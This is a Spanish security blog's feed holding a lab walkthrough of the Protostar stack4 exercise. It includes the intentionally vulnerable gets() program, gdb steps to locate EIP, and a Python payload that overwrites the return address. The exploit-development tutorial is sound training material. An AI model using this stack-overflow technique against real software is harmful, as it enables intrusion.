<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-1266026171270080387</id><updated>2024-09-24T16:50:25.794+02:00</updated><category term="sqli"/><category term="sql injection"/><category term="Leer el Whatsapp a tu pareja"/><category term="Whatsapp"/><category term="action"/><category term="bases de datos"/><category term="bienvenida"/><category term="blind sqli"/><category term="como espiar el Whatsapp"/><category term="descargas"/><category term="diseño de base de datos"/><category term="el megaupload español"/><category term="entidad"/><category term="entidad-relación"/><category term="español"/><category term="espiar Whatsapp"/><category term="evasion filtros"/><category term="filter evasion"/><category term="filtros"/><category term="form"/><category term="formulario html"/><category term="formularios"/><category term="hackear Whatsapp"/><category term="html"/><category term="input"/><category term="megaupload"/><category term="method"/><category term="modelo"/><category term="mysql cheatsheet"/><category term="privacidad"/><category term="programa blind sqli"/><category term="relación"/><category term="seguridad"/><category term="seguridad informatica"/><category term="sql filter evasion"/><category term="web de descargas"/><title type='text'>Seguridad by S3ik0tr0n</title><subtitle type='html'>Blog dedicado a la seguridad informática, trataré temas de interes general para la seguridad de las tecnologias de la información con un toque humoristico.</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://s3ik0tr0n.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1266026171270080387/posts/default?redirect=false'/><link rel='alternate' type='text/html' href='http://s3ik0tr0n.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/08878268745400136737</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>23</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-1266026171270080387.post-8836346181932153499</id><published>2016-06-21T10:00:00.002+02:00</published><updated>2016-06-21T10:00:22.673+02:00</updated><title type='text'>Exploiting práctico desde 0 (parte 3) </title><content type='html'>¡¡Muy buenas gentecilla!!&lt;br /&gt;
&lt;br /&gt;
Pues nada por aquí ando para seguir esta serie de post&#39;s que no se a ciencia cierta cuando acabará jejeje, porque irá en cuestión de lo largo que me vayan quedando los post y lo que avancemos en cuestión de ejercicios de protostar de la página&amp;nbsp;&lt;a href=&quot;https://exploit-exercises.com/&quot; target=&quot;_blank&quot;&gt;https://exploit-exercises.com&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Pues bien, no quiero enrollarme mucho más, por lo que vamos a ponernos manos a la obra...&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Stack4&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
Bien! Este ejercicio es muy parecido al resto, vamos a tratar de sobreescribir el EIP, Extender Index Pointer, o en castellano extensión de puntero al índice, lo que hace este maravilloso registro es guardar el offset, es decir la dirección en memoria, de la siguiente instrucción a llamar. Al sobreescribir este puntero, vamos a hacer que nuestro programa salte a esa posición al acabar la instrucción actual.&lt;br /&gt;
&lt;br /&gt;
He de añadir que el registro EIP se encuentra inmediatamente después del registro EBP(al menos en infraestructuras de 32 bits. En 64 bits aun no estoy puesto, está en mi agenda no me peguéis xD). Esto es importante ¿porqué? porque en un buffer overflow vamos a machacar sí o sí el EBP para poder llegar a sobreescribir el EIP. Sabiendo esto, en el gdb encontrar los valores del EBP y el EIP es tan sencillo como ejecutar: &lt;span style=&quot;color: lime;&quot;&gt;&lt;b&gt;x/2x $ebp&lt;/b&gt;&lt;/span&gt;&amp;nbsp;teniendo el programa interrumpido en un breakpoint, el primer valor será el del EBP y el segundo el del EIP.&lt;br /&gt;
&lt;br /&gt;
¡¿Pero de qué carajo me está hablando este chalao?! Bien si te has perdido con el párrafo anterior, no te preocupes, unas cuantas lineas más abajo donde detallo el ejercicio de manera práctica se ve mejor. Ah! y un breakpoint, por si no lo sabes, es un punto en el que el programa se detiene y le devuelve el control a el debuggeador de ese programa, pudiendo acceder en ese momento al estado exacto de las posiciones de memoria, ¡muy útil para este caso!&lt;br /&gt;
&lt;br /&gt;
Después de estos parrafazos vamos a ver la práctica, y como siempre, la teoría parece muy farragosa pero en la práctica veremos que es practicamente una chorrada.&lt;br /&gt;
&lt;br /&gt;
Adjunto el código fuente del programa:&lt;br /&gt;
&lt;br /&gt;
&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: Menlo, Monaco, &amp;quot;Andale Mono&amp;quot;, &amp;quot;lucida console&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-size: 13px; line-height: 18.85px; white-space: pre;&quot;&gt;&lt;span class=&quot;cp&quot; style=&quot;box-sizing: border-box; color: rgb(147, 161, 161) !important; font-style: italic !important;&quot;&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: Menlo, Monaco, &amp;quot;Andale Mono&amp;quot;, &amp;quot;lucida console&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-size: 13px; line-height: 18.85px; white-space: pre;&quot;&gt;&lt;span class=&quot;cp&quot; style=&quot;box-sizing: border-box; color: rgb(147, 161, 161) !important; font-style: italic !important;&quot;&gt;#include &amp;lt;unistd.h&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: Menlo, Monaco, &amp;quot;Andale Mono&amp;quot;, &amp;quot;lucida console&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-size: 13px; line-height: 18.85px; white-space: pre;&quot;&gt;&lt;span class=&quot;cp&quot; style=&quot;box-sizing: border-box; color: rgb(147, 161, 161) !important; font-style: italic !important;&quot;&gt;#include &amp;lt;stdio.h&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: Menlo, Monaco, &amp;quot;Andale Mono&amp;quot;, &amp;quot;lucida console&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-size: 13px; line-height: 18.85px; white-space: pre;&quot;&gt;&lt;span class=&quot;cp&quot; style=&quot;box-sizing: border-box; color: rgb(147, 161, 161) !important; font-style: italic !important;&quot;&gt;#include &amp;lt;string.h&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: Menlo, Monaco, &amp;quot;Andale Mono&amp;quot;, &amp;quot;lucida console&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-size: 13px; line-height: 18.85px; white-space: pre;&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: Menlo, Monaco, &amp;quot;Andale Mono&amp;quot;, &amp;quot;lucida console&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-size: 13px; line-height: 18.85px; white-space: pre;&quot;&gt;&lt;span class=&quot;kt&quot; style=&quot;box-sizing: border-box; color: rgb(42, 161, 152) !important;&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot; style=&quot;box-sizing: border-box; color: rgb(38, 139, 210) !important; font-weight: bold !important;&quot;&gt;win&lt;/span&gt;&lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: Menlo, Monaco, &amp;quot;Andale Mono&amp;quot;, &amp;quot;lucida console&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-size: 13px; line-height: 18.85px; white-space: pre;&quot;&gt;&lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: Menlo, Monaco, &amp;quot;Andale Mono&amp;quot;, &amp;quot;lucida console&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-size: 13px; line-height: 18.85px; white-space: pre;&quot;&gt;  &lt;span class=&quot;n&quot; style=&quot;box-sizing: border-box; color: rgb(38, 139, 210) !important;&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot; style=&quot;box-sizing: border-box; color: rgb(42, 161, 152) !important;&quot;&gt;&quot;code flow successfully changed&lt;/span&gt;&lt;span class=&quot;se&quot; style=&quot;box-sizing: border-box; color: rgb(220, 50, 47) !important;&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot; style=&quot;box-sizing: border-box; color: rgb(42, 161, 152) !important;&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: Menlo, Monaco, &amp;quot;Andale Mono&amp;quot;, &amp;quot;lucida console&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-size: 13px; line-height: 18.85px; white-space: pre;&quot;&gt;&lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: Menlo, Monaco, &amp;quot;Andale Mono&amp;quot;, &amp;quot;lucida console&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-size: 13px; line-height: 18.85px; white-space: pre;&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: Menlo, Monaco, &amp;quot;Andale Mono&amp;quot;, &amp;quot;lucida console&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-size: 13px; line-height: 18.85px; white-space: pre;&quot;&gt;&lt;span class=&quot;kt&quot; style=&quot;box-sizing: border-box; color: rgb(42, 161, 152) !important;&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nf&quot; style=&quot;box-sizing: border-box; color: rgb(38, 139, 210) !important; font-weight: bold !important;&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot; style=&quot;box-sizing: border-box; color: rgb(42, 161, 152) !important;&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot; style=&quot;box-sizing: border-box; color: rgb(38, 139, 210) !important;&quot;&gt;argc&lt;/span&gt;&lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot; style=&quot;box-sizing: border-box; color: rgb(42, 161, 152) !important;&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot; style=&quot;box-sizing: border-box; font-weight: bold !important;&quot;&gt;**&lt;/span&gt;&lt;span class=&quot;n&quot; style=&quot;box-sizing: border-box; color: rgb(38, 139, 210) !important;&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: Menlo, Monaco, &amp;quot;Andale Mono&amp;quot;, &amp;quot;lucida console&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-size: 13px; line-height: 18.85px; white-space: pre;&quot;&gt;&lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: Menlo, Monaco, &amp;quot;Andale Mono&amp;quot;, &amp;quot;lucida console&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-size: 13px; line-height: 18.85px; white-space: pre;&quot;&gt;  &lt;span class=&quot;kt&quot; style=&quot;box-sizing: border-box; color: rgb(42, 161, 152) !important;&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot; style=&quot;box-sizing: border-box; color: rgb(38, 139, 210) !important;&quot;&gt;buffer&lt;/span&gt;&lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot; style=&quot;box-sizing: border-box; color: rgb(42, 161, 152) !important;&quot;&gt;64&lt;/span&gt;&lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: Menlo, Monaco, &amp;quot;Andale Mono&amp;quot;, &amp;quot;lucida console&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-size: 13px; line-height: 18.85px; white-space: pre;&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: Menlo, Monaco, &amp;quot;Andale Mono&amp;quot;, &amp;quot;lucida console&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-size: 13px; line-height: 18.85px; white-space: pre;&quot;&gt;  &lt;span class=&quot;n&quot; style=&quot;box-sizing: border-box; color: rgb(38, 139, 210) !important;&quot;&gt;gets&lt;/span&gt;&lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot; style=&quot;box-sizing: border-box; color: rgb(38, 139, 210) !important;&quot;&gt;buffer&lt;/span&gt;&lt;span class=&quot;p&quot; style=&quot;box-sizing: border-box;&quot;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;line&quot; style=&quot;box-sizing: border-box; color: #586e75; font-family: Menlo, Monaco, &amp;quot;Andale Mono&amp;quot;, &amp;quot;lucida console&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace; font-size: 13px; line-height: 18.85px; white-space: pre;&quot;&gt;}&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Paso1:&lt;br /&gt;
Conseguir la dirección de memoria de la instrucción win(), que es, digamoslo así, nuestra meta. Esto ya deberíais de ser capaces de hacerlo, por si acaso has hecho pellas o justo estabas en ese plácido momento de pensar en absolutamente nada mientras lees y no interiorizas lo leído, te dejo el comando:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;gdb ./stack4&lt;/li&gt;
&lt;li&gt;disass win&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;div&gt;
(gdb) disass win&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
Dump of assembler code for function win:&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: lime;&quot;&gt;&lt;b&gt;0x080483f4&lt;/b&gt;&lt;/span&gt; &amp;lt;win+0&amp;gt;: &amp;nbsp; &amp;nbsp; push &amp;nbsp; %ebp&lt;/div&gt;
&lt;div&gt;
0x080483f5 &amp;lt;win+1&amp;gt;: &amp;nbsp; &amp;nbsp; mov &amp;nbsp; &amp;nbsp;%esp,%ebp&lt;/div&gt;
&lt;div&gt;
0x080483f7 &amp;lt;win+3&amp;gt;: &amp;nbsp; &amp;nbsp; sub &amp;nbsp; &amp;nbsp;$0x18,%esp&lt;/div&gt;
&lt;div&gt;
0x080483fa &amp;lt;win+6&amp;gt;: &amp;nbsp; &amp;nbsp; movl &amp;nbsp; $0x80484e0,(%esp)&lt;/div&gt;
&lt;div&gt;
0x08048401 &amp;lt;win+13&amp;gt;: &amp;nbsp; &amp;nbsp;call &amp;nbsp; 0x804832c &amp;lt;puts@plt&amp;gt;&lt;/div&gt;
&lt;div&gt;
0x08048406 &amp;lt;win+18&amp;gt;: &amp;nbsp; &amp;nbsp;leave&lt;/div&gt;
&lt;div&gt;
0x08048407 &amp;lt;win+19&amp;gt;: &amp;nbsp; &amp;nbsp;ret&lt;/div&gt;
&lt;div&gt;
End of assembler dump.&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Haciendo eso, obtenemos el offset de esa instrucción y lo guardaremos ya que nos hará falta para ponerlo en nuestro querido EIP. Os dejo remarcada en verde la dirección ;)&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
Paso 2:&lt;br /&gt;
&lt;br /&gt;
Crear un fichero de input en el que introduciremos, de momento, 64 veces la letra A, esto no generará un buffer overflow pero nos permitirá ver en memoria donde empieza nuestro array y donde acaba. Se hace así:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;color: lime;&quot;&gt;&lt;b&gt;python -c &#39;print &quot;A&quot;*64&#39; &amp;gt; /tmp/payload&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;br /&gt;
Insertar un breakpoint en el programa justo después de la instrucción que generaría el overflow, para poder ver el estado de la memoria y calcular la distancia desde el inicio de nuestro array hasta la dirección que queremos sobreescribir (recuerdo para despistados, el EIP), esto se hace de la siguiente manera:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;&lt;b&gt;&lt;span style=&quot;color: lime;&quot;&gt;gdb ./stack4&lt;/span&gt;&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;&lt;span style=&quot;color: lime;&quot;&gt;disass main&lt;/span&gt;&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
Obtenemos el siguiente código desensamblado:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;
(gdb) disass main&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
Dump of assembler code for function main:&lt;/div&gt;
&lt;div&gt;
0x08048408 &amp;lt;main+0&amp;gt;: &amp;nbsp; &amp;nbsp;push &amp;nbsp; %ebp&lt;/div&gt;
&lt;div&gt;
0x08048409 &amp;lt;main+1&amp;gt;: &amp;nbsp; &amp;nbsp;mov &amp;nbsp; &amp;nbsp;%esp,%ebp&lt;/div&gt;
&lt;div&gt;
0x0804840b &amp;lt;main+3&amp;gt;: &amp;nbsp; &amp;nbsp;and &amp;nbsp; &amp;nbsp;$0xfffffff0,%esp&lt;/div&gt;
&lt;div&gt;
0x0804840e &amp;lt;main+6&amp;gt;: &amp;nbsp; &amp;nbsp;sub &amp;nbsp; &amp;nbsp;$0x50,%esp&lt;/div&gt;
&lt;div&gt;
0x08048411 &amp;lt;main+9&amp;gt;: &amp;nbsp; &amp;nbsp;lea &amp;nbsp; &amp;nbsp;0x10(%esp),%eax&lt;/div&gt;
&lt;div&gt;
0x08048415 &amp;lt;main+13&amp;gt;: &amp;nbsp; mov &amp;nbsp; &amp;nbsp;%eax,(%esp)&lt;/div&gt;
&lt;div&gt;
0x08048418 &amp;lt;main+16&amp;gt;: &amp;nbsp; &lt;span style=&quot;color: lime;&quot;&gt;&lt;b&gt;call &amp;nbsp; 0x804830c &amp;lt;gets@plt&amp;gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;0x0804841d &amp;lt;main+21&amp;gt;: &amp;nbsp; leave&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
0x0804841e &amp;lt;main+22&amp;gt;: &amp;nbsp; ret&lt;/div&gt;
&lt;div&gt;
End of assembler dump.&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
Dejo remarcado en verde y negrita la instrucción que generaría el overflow, como hemos dicho antes el breakpoint va justo despues, es decir el breakpoint debería ir en main+21 (marcado en rojo), pues vamos allá:&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;color: lime;&quot;&gt;&lt;b&gt;break *main+21&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
El programa nos devuelve:&lt;br /&gt;
Breakpoint 1 at 0x804841d: file stack4/stack4.c, line 16.&lt;br /&gt;
&lt;br /&gt;
Bien, ya tenemos el ficherito de input, ya tenemos el gdb con el breakpoint del programa, así que sin salirse del gdb, escribimos lo siguiente:&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;color: lime;&quot;&gt;r &amp;lt; /tmp/payload&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
El programa nos devuelve:&lt;br /&gt;
Breakpoint 1, main (argc=1, argv=0xbffffd64) at stack4/stack4.c:16&lt;br /&gt;
&lt;br /&gt;
El siguiente comando nos mostrará la información del registro ebp y del siguiente (EIP):&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;color: lime;&quot;&gt;&lt;b&gt;x/2x $ebp&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
El programa nos devuelve:&lt;br /&gt;
0xbffffcb8: &amp;nbsp; &amp;nbsp; &lt;b&gt;&lt;span style=&quot;background-color: white; color: blue;&quot;&gt;0xbffffd38&lt;/span&gt;&lt;/b&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;b&gt;&lt;span style=&quot;color: lime;&quot;&gt;0xb7eadc76&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
En azul el registro EBP y en verde el registro EIP, ahora que conocemos sus valores, podemos ver el estado del stack y buscar esos 2 valores para ver la distancia desde el comienzo de nuestro array (que deberá contener 0x41414141) hasta el registro EIP, para ello escribimos:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;color: lime;&quot;&gt;&lt;b&gt;x/24x $esp&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
Y en mi caso devuelve lo siguiente:&lt;br /&gt;
(gdb) x/24x $esp&lt;br /&gt;
0xbffffc60: &amp;nbsp; &amp;nbsp; 0xbffffc70 &amp;nbsp; &amp;nbsp; &amp;nbsp;0xb7ec6165 &amp;nbsp; &amp;nbsp; &amp;nbsp;0xbffffc78 &amp;nbsp; &amp;nbsp; &amp;nbsp;0xb7eada75&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;0xbffffc70&lt;/span&gt;&lt;/b&gt;: &amp;nbsp; &amp;nbsp; 0x41414141 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x41414141 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x41414141 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x41414141&lt;br /&gt;
0xbffffc80: &amp;nbsp; &amp;nbsp; 0x41414141 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x41414141 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x41414141 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x41414141&lt;br /&gt;
0xbffffc90: &amp;nbsp; &amp;nbsp; 0x41414141 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x41414141 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x41414141 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x41414141&lt;br /&gt;
0xbffffca0: &amp;nbsp; &amp;nbsp; 0x41414141 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x41414141 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x41414141 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x41414141&lt;br /&gt;
0xbffffcb0: &amp;nbsp; &amp;nbsp; 0x08048400 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;b&gt;&lt;span style=&quot;color: blue;&quot;&gt;0xbffffd38&lt;/span&gt;&lt;/b&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;b&gt;&lt;span style=&quot;color: lime;&quot;&gt;0xb7eadc76&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Si nos fijamos resaltado en rojo tenemos la dirección en la que empieza nuestro array, en azul el EBP y en verde el EIP. Por cada grupo que vemos son 4 caracteres, por lo tanto tenemos 16 grupos en los que hay 0x41414141 y 4 grupos con valores distintos, por lo tanto para sobrescribir por completo con A el registro EIP deberíamos escribir 20 grupos, o lo que es lo mismo 80 caracteres. Como los últimos 4 caracteres serán el valor que sobrescribiremos en el EIP y no queremos sobrescribirlo con 0x41414141 porque eso haría fallar al programa, escribiremos 76 caracteres y los 4 últimos corresponderán en la notación Little Endian (explicado en los artículos anteriores) a la dirección en la que empieza la función win() que si no recuerdas cual era, puedes ejecutar &lt;b&gt;&lt;span style=&quot;color: lime;&quot;&gt;disass win&lt;/span&gt;&lt;/b&gt;&amp;nbsp;y ver el valor (en mi caso &amp;nbsp;&lt;b style=&quot;color: lime;&quot;&gt;0x080483f4&lt;/b&gt;).&lt;br /&gt;
&lt;br /&gt;
Pues bien, vamos a resolver el ejercicio, nos salimos de gdb, y creamos nuestro fichero de input con 76 letras A y la dirección 0x080483f4 en little endian al final, esto se hace así:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;color: lime;&quot;&gt;&lt;b&gt;python -c &#39;print &quot;A&quot;*76+&quot;\xf4\x83\x04\x08&quot;&#39; &amp;gt; /tmp/payloadFinal&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
Volvemos a ejecutar el gdb, y lanzamos la ejecución:&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;&lt;b&gt;&lt;span style=&quot;color: lime;&quot;&gt;gdb ./stack4&lt;/span&gt;&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;&lt;span style=&quot;color: lime;&quot;&gt;r &amp;lt; /tmp/payloadFinal&lt;/span&gt;&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
Y el programa nos devuelve lo esperado:&lt;br /&gt;
Starting program: /opt/protostar/bin/stack4 &amp;lt; /tmp/payloadFinal&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;code flow successfully changed&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Program received signal SIGSEGV, Segmentation fault.&lt;br /&gt;
0x00000000 in ?? ()&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
En rojo está el mensaje que debía imprimir el programa para decir que hemos ganado, que es el printf que hay dentro de la función win()&lt;br /&gt;
&lt;br /&gt;
NOTA FINAL: Un cero. Perdón perdón, no he podido resistirme al chiste fácil, no, ahora en serio, es posible que sigas todos estos pasos y no te funcione, puede ser y será con casi total seguridad por las direcciones de memoria, que en mi caso son las que aparecen en el artículo, pero no tienen por qué ser obligatoriamente las mismas para tí, revisa el post otra vez, y coge las direcciones de memoria que te aparezcan a tí (la importante es el inicio de la función win() ). Si aún así no te funciona, es porque estás ejecutando el programa fuera del debugger, al hacer esto, las direcciones de memoria cambiarán, ya que el programa no se ejecuta como hijo del gdb. Para localizar las direcciones de memoria se usa un coredump que se genera al realizarse el overflow del stack, pero eso... lo dejamos para el siguiente post!&lt;br /&gt;
&lt;br /&gt;
Un saludo! espero no haber sido muy muy pesado, y que la explicación haya sido sencilla y amena!&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='http://s3ik0tr0n.blogspot.com/feeds/8836346181932153499/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://s3ik0tr0n.blogspot.com/2016/06/exploiting-practico-desde-0-parte-3.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1266026171270080387/posts/default/8836346181932153499'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1266026171270080387/posts/default/8836346181932153499'/><link rel='alternate' type='text/html' href='http://s3ik0tr0n.blogspot.com/2016/06/exploiting-practico-desde-0-parte-3.html' title='Exploiting práctico desde 0 (parte 3) '/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/08878268745400136737</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1266026171270080387.post-5062691957321207175</id><published>2016-06-15T20:37:00.002+02:00</published><updated>2016-06-15T20:37:39.102+02:00</updated><title type='text'>Exploiting práctico desde 0 (parte 2)</title><content type='html'>&lt;div style=&quot;text-align: justify;&quot;&gt;
Ho Ho Hooola gentecilla, ¿qué tal? Yo aquí con ganas de seguir la serie de post que no sé cuánto me va a llevar, pero poco a poco iré completándola.&lt;/div&gt;
